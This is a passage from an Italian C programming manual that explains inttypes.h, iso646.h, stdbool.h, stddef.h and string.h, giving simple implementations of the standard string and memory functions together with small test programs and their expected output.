#define SCNiFAST32      "i"
#define SCNiFAST64      "lli"

#define SCNiMAX         "lli"
#define SCNiPTR         "i"

#define SCNo8           "hho"
#define SCNo16          "ho"
#define SCNo32          "o"
#define SCNo64          "llo"

#define SCNoLEAST8      "hho"
#define SCNoLEAST16     "ho"
#define SCNoLEAST32     "o"
#define SCNoLEAST64     "llo"

#define SCNoFAST8       "hho"
#define SCNoFAST16      "o"
#define SCNoFAST32      "o"
#define SCNoFAST64      "llo"

#define SCNoMAX         "llo"
#define SCNoPTR         "o"

#define SCNu8           "hhu"
#define SCNu16          "hu"
#define SCNu32          "u"
#define SCNu64          "llu"

#define SCNuLEAST8      "hhu"
#define SCNuLEAST16     "hu"
#define SCNuLEAST32     "u"
#define SCNuLEAST64     "llu"

#define SCNuFAST8       "hhu"
```

```
#define SCNuFAST16      "u"
#define SCNuFAST32      "u"
#define SCNuFAST64      "llu"

#define SCNuMAX         "llu"
#define SCNuPTR         "u"

#define SCNx8           "hhx"
#define SCNx16          "hx"
#define SCNx32          "x"
#define SCNx64          "llx"

#define SCNxLEAST8      "hhx"
#define SCNxLEAST16     "hx"
#define SCNxLEAST32     "x"
#define SCNxLEAST64     "llx"

#define SCNxFAST8       "hhx"
#define SCNxFAST16      "x"
#define SCNxFAST32      "x"
#define SCNxFAST64      "llx"

#define SCNxMAX         "llx"
#define SCNxPTR         "x"
```

80.10.3 Valore assoluto

Nel file '`stdlib.h`' si trovano dichiarate alcune funzioni per il calcolo del valore assoluto: ...***abs()***. Nel file '`inttypes.h`' si aggiunge la funzione ***imaxabs()***, da usare per i valori interi massimi:

```
intmax_t imaxabs (intmax_t j);
```

```
#include <inttypes.h>
intmax_t
imaxabs (intmax_t j)
{
  if (j < 0)
    {
      return -j;
    }
  else
    {
      return j;
    }
}
```

80.10.4 Conversione da stringa a numero intero

Per convertire una stringa contenente un valore numerico intero, quando si vuole fare riferimento all'intero di dimensione massima, si possono usare le funzioni ***strtoimax()***, ***strtouimax()***, ***wcstoimax()*** e ***wcstouimax()***, dichiarate nel file '`inttypes.h`'. Come il nome suggerisce, le prime due funzioni sono destinate alla conversione di stringhe «normali», mentre le altre sono specifiche per le stringhe estese.

Evidentemente si tratta di funzioni che si abbinano alle altre ***strto...()*** del file '`stdlib.h`' e alle funzioni ***wcsto...()*** del file '`wchar.h`'.

```
intmax_t  strtoimax  (const char *restrict nptr,
                      char **restrict endptr, int base);
uintmax_t strtouimax (const char *restrict nptr,
                      char **restrict endptr, int base);
intmax_t wcstoimax   (const wchar_t *restrict nptr,
                      wchar_t **restrict endptr, int base);
uintmax_t wcstouimax (const wchar_t *restrict nptr,
                      wchar_t **restrict endptr, int base);
```

Come si vede, i parametri delle funzioni sono gli stessi; quello che cambia è il tipo di stringa, che nelle funzioni ***strto...()*** è normale, mentre nelle funzioni ***wcsto...()*** è di tipo esteso. Nel caso di funzioni ***...touimax()*** si ottiene un valore intero senza segno, mentre con le funzioni ***...toimax()*** si ottiene un valore intero con segno.

Il comportamento di queste funzioni è analogo a quello delle altre funzioni ***strto...()*** e ***wcsto...()***, per ciò che riguarda l'interpretazione di valori interi, con la differenza che si fa riferimento al valore intero più grande. Il valore restituito è zero se non si può procedere alla conversione; se invece il valore è al di fuori dell'intervallo rappresentabile, a seconda dei casi si può avere il valore corrispondente a ***INTMAX_MAX***, ***INTMAX_MIN*** o ***UINTMAX_MIN***, con l'aggiornamento della variabile ***errno*** al valore rappresentato da ***ERANGE***.

80.11 File «iso646.h»

Il file '`iso646.h`' della libreria standard definisce alcune macro-variabili da usare in sostituzione di simboli che potrebbero mancare nella propria tastiera, anche se ciò è comunque poco probabile.[5]

Macro	Corrispondenza	Codice
`and`	`&&`	`#define and    &&`
`and_eq`	`&=`	`#define and_eq &=`
`bitand`	`&`	`#define bitand &`
`bitor`	`|`	`#define bitor  |`
`compl`	`~`	`#define compl  ~`
`not`	`!`	`#define not    !`

Macro	Corrisponden-za	Codice
`not_eq`	`!=`	`#define not_eq !=`
`or`	`||`	`#define or     ||`
`or_eq`	`|=`	`#define or_eq  |=`
`xor`	`^`	`#define xor    ^`
`xor_eq`	`^=`	`#define xor_eq ^=`

80.12 File «stdbool.h»

Il file '`stdbool.h`' della libreria standard definisce alcune macro-variabili da usare per la gestione dei valori logici (*Vero* e *Falso*); in particolare consente di utilizzare il nome ***bool*** al posto di '**`_Bool`**' (si veda eventualmente la realizzazione di questo file nei sorgenti di os16, listato 106.1.13, oppure di os32, listato 120.1.11).[6].

```
#define bool    _Bool
#define true    1
#define false   0
#define __bool_true_false_are_defined   1
```

Come si può vedere, la macro-variabile ***__bool_true_false_are_defined*** consente di sapere se le macro-variabili ***bool***, ***true*** e ***false***, sono definite.

80.13 File «stddef.h»

Il file '`stddef.h`' della libreria standard definisce alcuni tipi di dati e delle macro fondamentali (si veda eventualmente la realizzazione del file '`stddef.h`' nei sorgenti di os16, listato 106.1.14, oppure di os32, listato 120.1.12).[7]

```
typedef long int          ptrdiff_t;
typedef unsigned long int size_t;
typedef unsigned int      wchar_t;

#define NULL                      0
#define offsetof(TYPE, MEMBER)   ((size_t) &((TYPE *)0)->MEMBER)
```

Di tutte le definizioni merita attenzione la macro-istruzione '**`offsetof`**' che serve a misurare lo scostamento di un membro di una struttura, per la quale è il caso di scomporre i suoi componenti:

- l'espressione '**`((`*tipo_struttura* `*)0)`**' rappresenta un puntatore nullo trasformato, con un cast, in un puntatore nullo al tipo di struttura alla quale si sta facendo riferimento;
- l'espressione '**`((`*tipo_struttura* `*)0)->`*nome_membro***' rappresenta il contenuto del membro indicato, preso a partire dall'indirizzo zero;

- l'espressione '`&((`*tipo_struttura* `*)0)->`*nome_membro*' rappresenta l'indirizzo del membro indicato, preso a partire dall'indirizzo zero.

Pertanto, l'indirizzo del membro, relativo all'indirizzo zero, corrisponde anche al suo scostamento a partire dall'inizio della struttura. Così, tale valore viene convertito con un cast nel tipo '**`size_t`**'.

80.14 File «string.h»

Il file '`string.h`' della libreria standard definisce il tipo '**`size_t`**', la macro-variabile ***NULL*** (come dal file '`stddef.h`', descritto nella sezione 80.13) e una serie di funzioni per il trattamento delle stringhe o comunque di sequenze di caratteri (si veda eventualmente la realizzazione del file '`string.h`' e di alcune delle sue funzioni nei sorgenti di os16, sezione 106.11, oppure di os32, sezione 120.14)).

80.14.1 Copia

Seguono i prototipi delle funzioni disponibili per la copia:

```
void *memcpy  (void *restrict dst, const void *restrict org, size_t n);
void *memmove (void *dst, const void *org, size_t n);
char *strcpy  (char *restrict dst, const char *restrict org);
char *strncpy (char *restrict dst, const char *restrict org, size_t n);
```

POSIX

Lo standard POSIX aggiunge anche i prototipi seguenti:

```
void *memccpy (void *restrict dst, const void *restrict org, int c, size_t n);
char *strdup  (const char *org);
```

80.14.1.1 Funzione «memcpy()» (memory copy)

La funzione ***memcpy()*** copia ***n*** caratteri a partire dall'indirizzo indicato da ***org***, per riprodurli a partire dall'indirizzo ***dst***, alla condizione che i due insiemi non risultino sovrapposti. La funzione restituisce l'indirizzo ***dst***.

```
#include <string.h>
void
*memcpy (void *restrict dst, const void *restrict org, size_t n)
{
  unsigned char *d = (unsigned char *) dst;
  unsigned char *o = (unsigned char *) org;
  size_t i;
  for (i = 0; n > 0 && i < n; i++)
    {
      d[i] = o[i];
    }
  return dst;
}
```

Per verificare sommariamente il comportamento della funzione si può realizzare un programma molto semplice come quello seguente, dove la variabile ***y*** viene sovrascritta dal contenuto di ***x***, ma questo attraverso la copia dei byte (si intende che gli interi siano da 32 bit).

```
#include <stdio.h>
#include <string.h>

int
main (void)
{
  int  x = 0x12345678;
  int  y = 0xFFFFFFFF;
  printf ("prima: %x\n", y);
  memcpy (&y, &x, sizeof (int));
  printf ("dopo:  %x\n", y);
  return 0;
}
```

Avviando questo programma si deve ottenere un risultato come quello seguente:

```
prima: ffffffff
dopo:  12345678
```

80.14.1.2 Funzione «memccpy()»

La funzione ***memccpy()*** appartiene allo standard POSIX e si distingue rispetto a ***memcpy()*** perché la copia termina al raggiungimento di un certo carattere (il parametro ***c***), restituendo il puntatore alla posizione successiva nella destinazione.

POSIX

```
#include <string.h>
void
*memccpy (void *restrict dst, const void *restrict org, int c, size_t n)
{
  unsigned char *d = (unsigned char *) dst;
  unsigned char *o = (unsigned char *) org;
  size_t i;
  for (i = 0; n > 0 && i < n; i++)
    {
      d[i] = o[i];
      if (o[i] == (unsigned char) c)
        {
          return (dst + i + 1);
        }
    }
  return NULL;
}
```

Per verificare sommariamente il comportamento della funzione si può realizzare un programma molto semplice come quello seguente, dove l'array ***y*** viene sovrascritto dal contenuto di ***x***, fino a quando si raggiunge il carattere '**`7`**'. Nell'esempio vengono anche visualizzati i valori dei puntatori di ***y*** e della posizione raggiunta all'interno di ***y*** alla fine della copia, sempre in forma di puntatore.

```
#include <stdio.h>
#include <string.h>
#include <inttypes.h>

int
main (void)
{
  char x[11] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '\0'};
  char y[11] = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', '\0'};
  char *z;
  printf ("prima: \"%s\" %" PRIuPTR "\n", y, (uintptr_t) y);
  z = memccpy (y, x, (int) '7', (size_t) 11);
  printf ("dopo:  \"%s\" %" PRIuPTR "\n", y, (uintptr_t) z);
  return 0;
}
```

Avviando questo programma si deve ottenere un risultato come quello seguente:

```
prima: "abcdefghij" 3218609914
dopo:  "01234567ij" 3218609922
```

Come si può vedere dal risultato, l'array ***y*** inizia a partire dal puntatore 3218609914 e, alla fine del trasferimento parziale dall'array ***x***, che si ferma al carattere '**`7`**', la funzione restituisce il puntatore 3218609922 che individua la posizione successiva al carattere copiato, corrispondente in pratica al carattere '**`i`**'.

80.14.1.3 Funzione «memmove()» (memory move)

La funzione ***memmove()*** opera in modo simile a ***memcpy()***, con la differenza che le due aree di memoria coinvolte possono sovrapporsi. In pratica la copia avviene prima in un'area temporanea, quindi, dall'area temporanea viene ricopiata nella destinazione. La funzione restituisce l'indirizzo ***dst***.

```
#include <string.h>
void
*memmove (void *dst, const void *org, size_t n)
{
  char temp[n];
  unsigned char *d = (unsigned char *) dst;
  unsigned char *o = (unsigned char *) org;
  size_t i;
  for (i = 0; i < n; i++)
    {
      temp[i] = o[i];
```

```
    }
  for (i = 0; n > 0 && i < n; i++)
    {
      d[i] = temp[i];
    }
  return dst;
}
```

Per osservare il comportamento della funzione si può riutilizzare lo stesso programma usato per ***memcpy()***, con la modifica del nome della funzione chiamata. Il risultato atteso è lo stesso:

```
...
  printf ("prima: %x\n", y);
  memmove (&y, &x, sizeof (int));
  printf ("dopo:  %x\n", y);
...
```

80.14.1.4 Funzione «strcpy()» (string copy)

La funzione ***strcpy()*** copia la stringa ***org*** nell'array a cui punta ***dst***, includendo anche il carattere zero di conclusione delle stringhe, alla condizione che le due stringhe non si sovrappongano. La funzione restituisce ***dst***.

```
#include <string.h>
char
*strcpy (char *restrict dst, const char *restrict org)
{
  size_t i;
  for (i = 0; org[i] != 0; i++)
    {
      dst[i] = org[i];
    }
  dst[i] = 0;
  return dst;
}
```

Per verificare sommariamente il comportamento della funzione si può realizzare un programma molto semplice come quello seguente, dove l'array ***y*** viene sovrascritto dal contenuto di ***x***.

```
#include <stdio.h>
#include <string.h>
int main (void)
{
  char x[] = "abcdefghijklmnopqrstuvwxyz";
  char y[50] = "ciao";
  printf ("prima: %s\n", y);
```

```
    strcpy (y, x);
    printf ("dopo:  %s\n", y);
    return 0;
}
```

Avviando questo programma si deve ottenere un risultato come quello seguente:

```
prima: ciao
dopo:  abcdefghijklmnopqrstuvwxyz
```

80.14.1.5 Funzione «strncpy()»

La funzione ***strncpy()*** agisce in modo analogo a quello di '**`strcpy`**', con la differenza che la copia riguarda al massimo i primi ***n*** caratteri, includendo in questo anche il carattere nullo di terminazione delle stringhe. Se però la stringa ***org*** è più breve (in quanto si incontra il carattere di terminazione prima di ***n*** caratteri), i caratteri rimasti vengono copiati con un valore a zero nella destinazione. La funzione restituisce ***dst***.

```
#include <string.h>
char
*strncpy (char *restrict dst, const char *restrict org, size_t n)
{
    size_t i;
    for (i = 0; n > 0 && i < n && org[i] != 0; i++)
      {
        dst[i] = org[i];
      }
    for ( ; n > 0 && i < n; i++)
      {
        dst[i] = 0;
      }
    return dst;
}
```

Per verificare sommariamente il comportamento della funzione si può realizzare un programma molto semplice come quello seguente, dove l'array ***y*** viene sovrascritto dal contenuto di ***x***.

```
#include <stdio.h>
#include <string.h>
int main (void)
{
    char x[] = "abcdefghijklmnopqrstuvwxyz";
    char y[50] = "ciaociaociaociaociaociaociaociao";
    printf ("prima:   %s\n", y);
    strncpy (y, x, 10);
    printf ("durante: %s\n", y);
```

```
  strncpy (y, x, 27);
  printf ("dopo:    %s\n", y);
  return 0;
}
```

Avviando questo programma si deve ottenere un risultato come quello seguente:

```
prima:   ciaociaociaociaociaociaociaociao
durante: abcdefghijaociaociaociaociaociao
dopo:    abcdefghijklmnopqrstuvwxyz
```

80.14.1.6 Funzione «strdup()»

La funzione ***strdup()***, richiesta dallo standard POSIX, è simile a ***strcpy()***, con la differenza che richiede solo l'indicazione della stringa da duplicare, mentre alloca autonomamente la memoria per produrne una copia. Pertanto, la funzione restituisce il puntatore alla stringa duplicata (e allocata) ed è poi possibile liberare la memoria attraverso la funzione ***free()***.

POSIX

```
#include <string.h>
#include <stdlib.h>
#include <stdint.h>

char
*strdup (const char *org)
{
  char  *d;
  int    i;
  size_t size;

  for (i = 0; i < (SIZE_MAX - 1); i++)
    {
      if (org[i] == '\0')
        {
          break;
        }
    }

  if (i == (SIZE_MAX - 1))
    {
      return NULL;
    }

  size = i + 1;

  d = malloc (size);

  if (d == NULL)
```

```
    {
      return NULL;
    }

  strcpy (d, org);

  return d;
}
```

Nell'esempio proposto, si riutilizza la funzione ***strcpy()*** e la funzione ***malloc()*** per allocare la memoria necessaria. Viene anche usata la macro-variabile ***SIZE_MAX***, per dare un limite massimo alla scansione, nel caso la stringa di origine non contenga il carattere nullo di terminazione. Per questa ragione, diventa necessario includere i file '`stdint.h`' e '`stdlib.h`'.

Per verificare sommariamente il comportamento della funzione si può realizzare un programma molto semplice come quello seguente, dove l'array ***o*** viene copiato altrove, associandogli il puntatore ***d***: se l'operazione ha successo, viene visualizzata la stringa a cui punta ***d***, altrimenti si ottiene un messaggio di errore. Dovendo usare la funzione ***free()*** per liberare la memoria, si include anche il file '`stdlib.h`'.

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int
main (void)
{
  char *d;
  char  o[] = "abcdefghijklmnopqrstuvwxyz";

  d = strdup (o);

  if (d == NULL)
    {
      printf ("Non è possibile duplicare la stringa!\n");
    }
  else
    {
      printf ("%s\n", d);
      free (d);
    }
  return 0;
}
```

80.14.2 Concatenamento

Seguono i prototipi delle funzioni per il concatenamento:

```
char *strcat  (char *restrict dst, const char *restrict org);
char *strncat (char *restrict dst, const char *restrict org, size_t n);
```

80.14.2.1 Funzione «strcat()» (string cat)

La funzione ***strcat()*** copia la stringa ***org*** a partire dalla fine della stringa ***dst*** (sovrascrivendo il carattere nullo preesistente), alla condizione che le due stringhe non siano sovrapposte. La funzione restituisce ***dst***.

```
#include <string.h>
char
*strcat (char *restrict dst, const char *restrict org)
{
  size_t i;
  size_t j;
  for (i = 0; dst[i] != 0; i++)
    {
      ; // Si limita a cercare il carattere nullo.
    }
  for (j = 0; org[j] != 0; i++, j++)
    {
      dst[i] = org[j];
    }
  dst[i] = 0;
  return dst;
}
```

Per verificare sommariamente il comportamento della funzione si può realizzare un programma molto semplice come quello seguente, dove la stringa ***y*** viene estesa con il contenuto di ***x***.

```
#include <stdio.h>
#include <string.h>
int
main (void)
{
  char x[] = "abcdefghijklmnopqrstuvwxyz";
  char y[50] = "ciao";
  printf ("prima: %s\n", y);
  strcat (y, x);
  printf ("dopo: %s\n", y);
  return 0;
}
```

Avviando questo programma si deve ottenere un risultato come quello seguente:

```
prima: ciao
dopo: ciaoabcdefghijklmnopqrstuvwxyz
```

80.14.2.2 Funzione «strncat()»

La funzione ***strncat()*** si comporta in modo analogo a ***strcat()***, con la differenza che copia al massimo ***n*** caratteri, ammesso che la stringa ***org*** ne contenga abbastanza. In ogni caso, la stringa ***dst*** viene completata con il carattere nullo di terminazione.

```
#include <string.h>
char
*strncat (char *restrict dst, const char *restrict org, size_t n)
{
  size_t i;
  size_t j;
  for (i = 0; n > 0 && dst[i] != 0; i++)
    {
      ; // Si limita a cercare il carattere nullo.
    }
  for (j = 0; n > 0 && j < n && org[j] != 0; i++, j++)
    {
      dst[i] = org[j];
    }
  dst[i] = 0;
  return dst;
}
```

Per verificare sommariamente il comportamento della funzione si può realizzare un programma molto semplice come quello seguente, dove la stringa ***y*** viene estesa con il contenuto di ***x***, in due fasi.

```
#include <stdio.h>
#include <string.h>
int main (void)
{
  char x[] = "abcdefghijklmnopqrstuvwxyz";
  char y[50] = "ciao";
  printf ("prima: %s\n", y);
  strncat (y, x, 10);
  printf ("durante: %s\n", y);
  strncat (y, x, 40);
  printf ("dopo: %s\n", y);
  return 0;
}
```

Avviando questo programma si deve ottenere un risultato come quello seguente:

```
prima: ciao
durante: ciaoabcdefghij
dopo: ciaoabcdefghijabcdefghijklmnopqrstuvwxyz
```

80.14.3 Comparazione

Le funzioni di comparazione ***memcmp()***, ***strcmp()*** e ***strncmp()*** confrontano due sequenze di caratteri, determinando se la prima sia maggiore, minore o uguale rispetto alla seconda, scandendo i caratteri progressivamente e arrestando l'analisi appena si incontra una differenza. Pertanto, il carattere che differisce è quello che determina l'ordine tra le due sequenze.

```
int    memcmp  (const void *s1, const void *s2, size_t n);
int    strcmp  (const char *s1, const char *s2);
int    strcoll (const char *s1, const char *s2);
int    strncmp (const char *s1, const char *s2, size_t n);
size_t strxfrm (char *restrict dst, const char *restrict org, size_t n);
```

80.14.3.1 Funzione «memcmp()» (memory compare)

La funzione ***memcmp()*** confronta i primi ***n*** caratteri delle aree di memoria a cui puntano ***s1*** e ***s2***, restituendo: un valore pari a zero se le due sequenze si equivalgono; un valore maggiore di zero se la sequenza di ***s1*** è maggiore di ***s2***; un valore minore di zero se la sequenza di ***s1*** è minore di ***s2***.

```
#include <string.h>
int
memcmp (const void *s1, const void *s2, size_t n)
{
  unsigned char *a = (unsigned char *) s1;
  unsigned char *b = (unsigned char *) s2;
  size_t i;
  for (i = 0; n > 0 && i < n; i++)
    {
      if (a[i] > b[i])
        {
          return 1;
        }
      else if (a[i] < b[i])
        {
          return -1;
        }
    }
  return 0;
}
```

Per verificare sommariamente il comportamento della funzione si può realizzare un programma molto semplice come quello seguente, dove le variabili ***x*** e ***y*** sono interi (che si presume siano a 32 bit) rappresentati in memoria invertendo l'ordine dei byte (*little endian*), pertanto il confronto avviene in modo inverso all'apparenza dei simboli.

```
#include <stdio.h>
#include <string.h>
int
main (void)
{
  unsigned int  x = 0x123456FF;
  unsigned int  y = 0xEEEEEEEE;
  int  r;
  r = memcmp (&x, &y, sizeof (int));
  printf ("memcmp: %x %i %x\n", x, r, y);
  r = memcmp (&x, &x, sizeof (int));
  printf ("memcmp: %x %i %x\n", x, r, x);
  r = memcmp (&y, &x, sizeof (int));
  printf ("memcmp: %x %i %x\n", y, r, x);
  return 0;
}
```

Avviando questo programma nelle condizioni descritte, si deve ottenere un risultato come quello seguente:

```
memcmp: 123456ff 1 eeeeeeee
memcmp: 123456ff 0 123456ff
memcmp: eeeeeeee -1 123456ff
```

80.14.3.2 Funzione «strcmp()» (string compare)

La funzione ***strcmp()*** confronta due stringhe restituendo: un valore pari a zero se sono uguali; un valore maggiore di zero se la stringa ***s1*** è maggiore di ***s2***; un valore minore di zero se la stringa ***s1*** è minore di ***s2***.

```
#include <string.h>
int
strcmp (const char *s1, const char *s2)
{
  unsigned char *a = (unsigned char *) s1;
  unsigned char *b = (unsigned char *) s2;
  size_t i;
  for (i = 0; ; i++)
    {
      if (a[i] > b[i])
        {
          return 1;
        }
```

```
      else if (a[i] < b[i])
        {
          return -1;
        }
      else if (a[i] == 0 && b[i] == 0)
        {
          return 0;
        }
    }
}
```

Per verificare sommariamente il comportamento della funzione si può realizzare un programma molto semplice come quello seguente:

```
#include <stdio.h>
#include <string.h>
int
main (void)
{
  char x[] = "ciao";
  char y[] = "ciao amore";
  int  r;
  r = strcmp (x, y);
  printf ("strcmp: %s %i %s\n", x, r, y);
  r = strcmp (x, x);
  printf ("strcmp: %s %i %s\n", x, r, x);
  r = strcmp (y, x);
  printf ("strcmp: %s %i %s\n", y, r, x);
  return 0;
}
```

Avviando questo programma si deve ottenere un risultato come quello seguente:

```
strcmp: ciao -1 ciao amore
strcmp: ciao 0 ciao
strcmp: ciao amore 1 ciao
```

80.14.3.3 Funzione «strcoll()» (string collate compare)

La funzione ***strcoll()*** è analoga a ***strcmp()***, con la differenza che la comparazione avviene sulla base della configurazione locale (la categoria '**`LC_COLLATE`**'). Nel caso della configurazione locale '**`C`**' la funzione si comporta esattamente come ***strcmp()***.

80.14.3.4 Funzione «strncmp()»

La funzione ***strncmp()*** si comporta in modo analogo a ***strcmp()***, con la differenza che la comparazione si arresta al massimo dopo ***n*** caratteri.

```
#include <string.h>
int
strncmp (const char *s1, const char *s2, size_t n)
{
  unsigned char *a = (unsigned char *) s1;
  unsigned char *b = (unsigned char *) s2;
  size_t i;
  for (i = 0; i < n ; i++)
    {
      if (a[i] > b[i])
        {
          return 1;
        }
      else if (a[i] < b[i])
        {
          return -1;
        }
      else if (a[i] == 0 && b[i] == 0)
        {
          return 0;
        }
    }
  return 0;
}
```

Per verificare sommariamente il comportamento della funzione si può realizzare un programma molto semplice come quello seguente:

```
#include <stdio.h>
#include <string.h>
int
main (void)
{
  char x[] = "CIao";
  char y[] = "CIAO";
  int  r;
  r = strncmp (x, y, 4);
  printf ("strcmp: %i %s %i %s\n", 4, x, r, y);
  r = strncmp (x, y, 2);
  printf ("strcmp: %i %s %i %s\n", 2, x, r, x);
  r = strncmp (y, x, 4);
  printf ("strcmp: %i %s %i %s\n", 4, y, r, x);
  return 0;
```

```
}
```

Avviando questo programma si deve ottenere un risultato come quello seguente:

```
strncmp: 4 CIao 1 CIAO
strncmp: 2 CIao 0 CIao
strncmp: 4 CIAO -1 CIao
```

80.14.3.5 Funzione «strxfrm()» (string transform)

La funzione ***strxfrm()*** trasforma la stringa ***org*** sovrascrivendo la stringa ***dst*** in modo relativo alla configurazione locale. In pratica, la stringa trasformata che si ottiene può essere comparata con un'altra stringa trasformata nello stesso modo attraverso la funzione ***strcmp()*** ottenendo lo stesso esito che si avrebbe confrontando le stringhe originali con la funzione ***strcoll()***.

Nella stringa di destinazione vengono messi non più di ***n*** caratteri, incluso il carattere nullo di terminazione. Se ***n*** è pari a zero, ***dst*** può essere un puntatore nullo. Le due stringhe non devono sovrapporsi.

La funzione ***strxfrm()*** restituisce la quantità di caratteri necessari a contenere la stringa ***org*** trasformata, senza però contare il carattere nullo di terminazione. Se ***n*** è zero e ***dst*** corrisponde al puntatore nullo, restituisce il valore che sarebbe necessario per trasformare la stringa ***org*** in tutta la sua lunghezza.

L'esempio seguente di tale funzione è valido solo per la configurazione locale '**C**':

```
#include <string.h>
size_t
strxfrm (char *restrict dst, const char *restrict org, size_t n)
{
  size_t i;
  if (n == 0 && dst == NULL)
    {
      return strlen (org);
    }
  else
    {
      for (i = 0; i < n ; i++)
        {
          dst[i] = org[i];
          if (org[i] == 0)
            {
              break;
            }
        }
      return i;
    }
}
```

80.14.4 Ricerca

Seguono i prototipi delle funzioni utili per la ricerca all'interno di sequenze di byte, secondo lo standard C:

```
void   *memchr   (const void *s, int c, size_t n);
char   *strchr   (const char *s, int c);
char   *strrchr  (const char *s, int c);
size_t strspn    (const char *s, const char *accept);
size_t strcspn   (const char *s, const char *reject);
char   *strpbrk  (const char *s, const char *accept);
char   *strstr   (const char *string, const char *substring);
char   *strtok   (char *restrict string, const char *restrict delim);
```

POSIX

Lo standard POSIX aggiunge anche il prototipo seguente:

```
char  *strtok_r (char *restrict string, const char *restrict delim, char **saveptr);
```

80.14.4.1 Funzione «memchr()» (memory character)

La funzione ***memchr()*** cerca un carattere a partire da una certa posizione in memoria, scandendo al massimo una quantità determinata di caratteri, restituendo il puntatore al carattere trovato. Se nell'ambito specificato non trova il carattere, restituisce il puntatore nullo.

```
#include <string.h>
void
*memchr (const void *s, int c, size_t n)
{
  unsigned char *a = (unsigned char *) s;
  unsigned char x  = (unsigned char) c;
  size_t i;
  for (i = 0; n > 0 && i < n; i++)
    {
      if (a[i] == x)
        {
          return (void *) (s + i);
        }
    }
  return NULL;
}
```

Per verificare sommariamente il comportamento della funzione si può realizzare un programma molto semplice come quello seguente, in cui si scandisce il contenuto di una variabile di tipo '**int**', intendendo che questa debba occupare uno spazio di 32 bit:

```
#include <stdio.h>
#include <string.h>
int
```

```
main (void)
{
  int x = 0x13579BDF;
  void *p;
  p = memchr (&x, 0xDF, 4);
  printf ("contenuto della variabile: %x\n", x);
  printf ("indirizzo iniziale della variabile: 0x%x\n",
          (unsigned int) &x);
  printf ("indirizzo di 0x%x all'interno della variabile: 0x%x\n",
          0xDF,
          (unsigned int) p);
  return 0;
}
```

Avviando questo programma in un'architettura che inverte l'ordine dei byte (*little endian*) si deve ottenere un risultato simile a quello seguente:

```
contenuto della variabile: 13579bdf
indirizzo iniziale della variabile: 0xbff7f3bc
indirizzo di 0xdf all'interno della variabile: 0xbff7f3bc
```

80.14.4.2 Funzione «strchr()» (string character)

La funzione ***strchr()*** cerca un carattere all'interno di una stringa, restituendo il puntatore al carattere trovato, oppure il puntatore nullo se la ricerca fallisce. Nella scansione viene preso in considerazione anche il carattere nullo di terminazione della stringa.

```
#include <string.h>
char
*strchr (const char *s, int c)
{
  unsigned char *a = (unsigned char *) s;
  unsigned char x  = (unsigned char) c;
  size_t i;
  for (i = 0; ; i++)
    {
      if (a[i] == x)
        {
          return (char *) (s + i);
        }
      else if (a[i] == 0)
        {
          return NULL;
        }
    }
}
```

Per verificare sommariamente il comportamento della funzione si può realizzare un programma molto semplice come quello seguente:

```
#include <stdio.h>
#include <string.h>
int
main (void)
{
  char *x = "ciao amore mio";
  char *p;

  p = strchr (x, 'a');
  printf ("La stringa \"%s\", collocata a partire ", x);
  printf ("dall'indirizzo %u, contiene il carattere '%c' ",
          (unsigned int) x,  'a');
  printf ("all'indirizzo %u.\n", (unsigned int) p);

  p = strchr (x, 0);
  printf ("La stringa \"%s\", collocata a partire ", x);
  printf ("dall'indirizzo %u, contiene il carattere 0x%x ",
          (unsigned int) x, 0);
  printf ("all'indirizzo %u.\n", (unsigned int) p);

  return 0;
}
```

Avviando questo programma si deve ottenere un risultato simile a quello seguente:

```
La stringa "ciao amore mio", collocata a partire dall'indirizzo ↩
↪134516936, contiene il carattere 'a' all'indirizzo 134516938.
La stringa "ciao amore mio", collocata a partire dall'indirizzo ↩
↪134516936, contiene il carattere 0x0 all'indirizzo 134516950.
```

80.14.4.3 Funzione «strrchr()» (string character)

La funzione ***strrchr()*** cerca un carattere all'interno di una stringa, restituendo il puntatore all'ultimo carattere corrispondente trovato, oppure il puntatore nullo se la ricerca fallisce. Nella scansione viene preso in considerazione anche il carattere nullo di terminazione della stringa.

```
#include <string.h>
char *
strrchr (const char *string, int c)
{
  int i;
  //
  for (i = strlen (string); i >= 0; i--)
    {
      if (string[i] == (char) c)
        {
```

```
            break;
          }
      }
    //
    if (i < 0)
      {
        return NULL;
      }
    else
      {
        return (string + i);
      }
}
```

Per verificare sommariamente il comportamento della funzione si può modificare leggermente l'esempio già apparso a proposito della funzione ***strchr()***:

```
...
    p = strrchr (x, 'a');
...
    p = strrchr (x, 0);
...
```

Avviando questo programma si deve ottenere un risultato simile a quello seguente:

```
La stringa "ciao amore mio", collocata a partire dall'indirizzo ↩
↪134514088, contiene il carattere 'a' all'indirizzo 134514093.
La stringa "ciao amore mio", collocata a partire dall'indirizzo ↩
↪134514088, contiene il carattere 0x0 all'indirizzo 134514102.
```

80.14.4.4 Funzione «strspn()» (string span)

La funzione ***strspn()*** calcola la lunghezza massima iniziale della stringa ***s***, composta esclusivamente da caratteri contenuti nella stringa ***accept***, restituendo tale valore.

```
#include <string.h>
size_t
strspn (const char *s, const char *accept)
{
    size_t i;
    size_t j;
    int found;
    for (i = 0; s[i] != 0; i++)
      {
        for (j = 0, found = 0; accept[j] != 0; j++)
          {
            if (s[i] == accept[j])
```

```
              {
                found = 1;
                break;
              }
          }
        if (!found)
          {
            break;
          }
      }
    return i;
  }
```

Per verificare sommariamente il comportamento della funzione si può utilizzare l'esempio seguente:

```
#include <stdio.h>
#include <string.h>
int
main (void)
{
  char *x = "ciao amore mio";
  char *y = "abcdefghi";
  size_t n;

  n = strspn (x, y);
  printf ("La parte iniziale di \"%s\" ", x);
  printf ("che contiene i caratteri \"%s\" ", y);
  printf ("si compone di %i caratteri.\n", n);

  n = strspn (x, x);
  printf ("La parte iniziale di \"%s\" ", x);
  printf ("che contiene i caratteri \"%s\" ", x);
  printf ("si compone di %i caratteri.\n", n);

  return 0;
}
```

Avviando questo programma si deve ottenere un risultato come quello seguente:

```
La parte iniziale di "ciao amore mio" che contiene i caratteri ↩
↪"abcdefghi" si compone di 3 caratteri.
La parte iniziale di "ciao amore mio" che contiene i caratteri ↩
↪"ciao amore mio" si compone di 14 caratteri.
```

80.14.4.5 Funzione «strcspn()»

La funzione ***strcspn()*** si comporta in modo analogo a ***strspn()***, con la differenza che l'insieme di caratteri contenuto nella stringa '**`reject`**' non deve costituire l'insieme iniziale della stringa ***s*** che si va a contare. Pertanto, il valore restituito è la quantità di caratteri iniziali della stringa ***s*** che non si trovano anche nell'insieme ***reject***.

```
#include <string.h>
size_t
